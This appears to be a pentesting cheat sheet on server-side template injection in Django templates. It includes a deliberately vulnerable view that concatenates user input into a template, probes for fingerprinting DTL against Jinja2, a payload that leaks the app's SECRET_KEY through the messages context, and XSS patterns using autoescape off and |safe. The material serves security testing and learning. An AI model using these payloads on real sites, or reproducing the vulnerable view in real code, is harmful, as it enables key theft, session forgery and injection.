Django Template

Django Template Engine (DTL)

Django ships built-in backends for its own template system, creatively called the Django template language (DTL), and for the popular alternative Jinja2.

Usage

Basic example of DTL:

My first name is {{ first_name }}. My last name is {{ last_name }}.
{{ my_dict.key }}
{{ my_object.attribute }}
{{ my_list.0 }}

Usage of DTL in a Django application:

from django.template import engines

django_engine = engines["django"]
template = django_engine.from_string("Hello {{ name }}!")

Example of vulnerable code:

from django.http import HttpResponse
from django.template import engines

def index(request):
  message = request.GET.get("message")

  engine = engines["django"]
  template = engine.from_string("<html><body>" + message + "</body></html>")
  return HttpResponse(template.render({}, request))

Detection

DTL vs Jinja2:

PayloadJinja2Django Templates
{% csrf_token %}Causes errorAnti-CSRF token HTML tag
{{ 7*7 }}49Causes error

Built-in

Debug

{% debug %}

CSRF

{% csrf_token %}

Secret Key Leak

When messages is present in the template context and CookieStorage is being used we can walk through attributes of messages to access app’s SECRET_KEY:

{{ messages.storages.0.signer.key }}

Include Template

You can include other templates in your page:

{% include 'admin/base.html' %}

XSS

  • safe: Marks a string as not requiring further HTML escaping prior to output. When autoescaping is off, this filter has no effect.
  • escape: Escapes a string’s HTML (HTML entity).
  • force_escape: Applies HTML escaping to a string.
{% autoescape off %}
    {{ message }}
{% endautoescape %}

{{ message|safe }}

{{ some_list|safeseq|join:", " }}

References